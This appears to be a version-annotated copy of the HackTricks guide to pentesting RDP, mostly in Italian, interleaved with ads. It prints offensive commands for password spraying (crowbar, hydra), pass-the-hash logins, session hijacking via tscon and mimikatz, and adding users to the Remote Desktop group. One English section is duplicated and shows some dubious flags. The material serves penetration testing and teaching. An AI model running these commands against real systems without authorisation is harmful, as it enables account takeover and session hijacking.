hacktricks/network-services-pentesting/pentesting-rdp.md

205 lines
11 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 3389 - Pentesting RDP
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-03 11:42:55 +01:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-01-11 14:23:18 +01:00
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:03:23 +00:00
**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, ottenere accesso shell e divertirsi.
2024-01-11 14:23:18 +01:00
{% embed url="https://pentest-tools.com/" %}
2024-02-10 13:03:23 +00:00
## Informazioni di base
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Sviluppato da Microsoft, il **Remote Desktop Protocol** (**RDP**) è progettato per consentire una connessione di interfaccia grafica tra computer su una rete. Per stabilire tale connessione, l'utente utilizza un software client **RDP**, mentre il computer remoto deve utilizzare un software server **RDP**. Questa configurazione consente il controllo e l'accesso senza soluzione di continuità dell'ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia al dispositivo locale dell'utente.
2024-02-10 13:03:23 +00:00
**Porta predefinita:** 3389
2022-05-01 13:25:53 +00:00
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
2024-02-10 13:03:23 +00:00
## Enumerazione
2024-02-10 13:03:23 +00:00
### Automatica
{% code overflow="wrap" %}
```bash
2022-10-03 20:20:19 +00:00
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
2024-02-10 13:03:23 +00:00
Controlla la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni su NTLM Windows (versioni).
2022-10-03 20:20:19 +00:00
2024-02-10 13:03:23 +00:00
### [Forza bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
2024-02-10 13:03:23 +00:00
**Fai attenzione, potresti bloccare gli account**
2022-10-03 20:20:19 +00:00
### **Password Spraying**
2024-02-10 13:03:23 +00:00
**Fai attenzione, potresti bloccare gli account**
```bash
2022-10-03 20:20:19 +00:00
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
2024-02-10 13:03:23 +00:00
### Connettersi con credenziali/hash conosciuti
To connect to a Remote Desktop Protocol (RDP) service using known credentials or hashes, you can follow these steps:
1. Use a tool like `xfreerdp` or `rdesktop` to establish an RDP connection.
2. Provide the IP address or hostname of the target machine as the target for the RDP connection.
3. Use the `-u` flag followed by the username and the `-p` flag followed by the password to specify the known credentials.
4. Alternatively, if you have the NTLM hash of the password, you can use the `-d` flag followed by the domain name and the `-H` flag followed by the NTLM hash to authenticate.
2024-02-10 13:03:23 +00:00
Here is an example of connecting to an RDP service using known credentials:
```bash
2024-02-10 13:03:23 +00:00
xfreerdp /v:<target_ip> /u:<username> /p:<password>
```
2024-02-10 13:03:23 +00:00
or
2022-10-03 09:49:04 +00:00
2024-02-10 13:03:23 +00:00
```bash
rdesktop -u <username> -p <password> <target_ip>
```
If you have the NTLM hash, you can use the following command:
```bash
2024-02-10 13:03:23 +00:00
xfreerdp /v:<target_ip> /u:<username> /d:<domain> /p:<password> /pth:<NTLM_hash>
```
2024-02-10 13:03:23 +00:00
or
2024-02-10 13:03:23 +00:00
```bash
rdesktop -u <username> -d <domain> -p <password> -H <NTLM_hash> <target_ip>
```
2024-02-10 13:03:23 +00:00
By using known credentials or hashes, you can gain access to an RDP service without the need for further exploitation techniques.
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Verifica delle credenziali conosciute sui servizi RDP
rdp\_check.py di impacket ti permette di verificare se delle credenziali sono valide per un servizio RDP:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
2024-01-11 14:23:18 +01:00
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:03:23 +00:00
**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, ottenere accesso ai sistemi e divertirsi.
2024-01-11 14:23:18 +01:00
{% embed url="https://pentest-tools.com/" %}
2024-02-10 13:03:23 +00:00
## **Attacchi**
2024-02-10 13:03:23 +00:00
### Furto di sessione
2022-10-03 20:20:19 +00:00
2024-02-10 13:03:23 +00:00
Con **permessi di sistema** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario.
2024-02-10 13:03:23 +00:00
**Ottieni le sessioni aperte:**
2022-05-01 13:25:53 +00:00
```
query user
```
2024-02-10 13:03:23 +00:00
**Accesso alla sessione selezionata**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
2024-02-10 13:03:23 +00:00
Ora sarai all'interno della sessione RDP selezionata e dovrai impersonare un utente utilizzando solo strumenti e funzionalità di Windows.
2024-02-10 13:03:23 +00:00
**Importante**: Quando accedi a una sessione RDP attiva, verrà disconnesso l'utente che la stava utilizzando.
2024-02-10 13:03:23 +00:00
È possibile ottenere le password tramite il dump del processo, ma questo metodo è molto più veloce e ti consente di interagire con i desktop virtuali dell'utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine...)
2022-05-01 13:25:53 +00:00
#### **Mimikatz**
2024-02-10 13:03:23 +00:00
È anche possibile utilizzare mimikatz per fare ciò:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
2022-10-03 20:20:19 +00:00
### Sticky-keys & Utilman
Combining this technique with **stickykeys** or **utilman you will be able to access a administrative CMD and any RDP session anytime**
2024-02-10 13:03:23 +00:00
Puoi cercare RDP che sono già stati backdoor con una di queste tecniche utilizzando: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
2022-10-03 20:20:19 +00:00
### RDP Process Injection
2024-02-10 13:03:23 +00:00
Se qualcuno di un dominio diverso o con **migliori privilegi accede tramite RDP** al PC in cui **sei un amministratore**, puoi **iniettare** il tuo beacon nel suo **processo di sessione RDP** e agire come lui:
2022-08-16 00:18:24 +00:00
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
### Aggiunta di un utente al gruppo RDP
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
2024-02-10 13:03:23 +00:00
## Strumenti automatici
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
2022-10-03 20:20:19 +00:00
2024-02-10 13:03:23 +00:00
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** su computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino controllarlo a richiesta, utilizzando strumenti nativi del sistema operativo stesso.
2022-10-03 20:20:19 +00:00
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
2024-02-10 13:03:23 +00:00
* Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
* Controlla gli appunti in modo automatizzato dalla riga di comando
* Avvia un proxy SOCKS dal client che instrada la comunicazione di rete verso il target tramite RDP
* Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file
* Carica e scarica file dal target anche quando i trasferimenti di file sono disabilitati sul target
2021-08-12 09:26:30 -04:00
2024-02-10 13:03:23 +00:00
## Comandi automatici HackTricks
2022-05-01 13:25:53 +00:00
```
2021-08-12 09:26:30 -04:00
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
2021-08-15 13:55:52 -04:00
Entry_1:
2024-02-10 13:03:23 +00:00
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
2021-08-15 13:55:52 -04:00
2024-02-10 13:03:23 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-rdp
2021-08-15 13:55:52 -04:00
Entry_2:
2024-02-10 13:03:23 +00:00
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
2021-08-12 09:26:30 -04:00
```
2024-01-11 14:23:18 +01:00
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:03:23 +00:00
**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester, sviluppiamo invece strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, ottenere accesso shell e divertirsi.
2024-01-11 14:23:18 +01:00
{% embed url="https://pentest-tools.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-03 11:42:55 +01:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>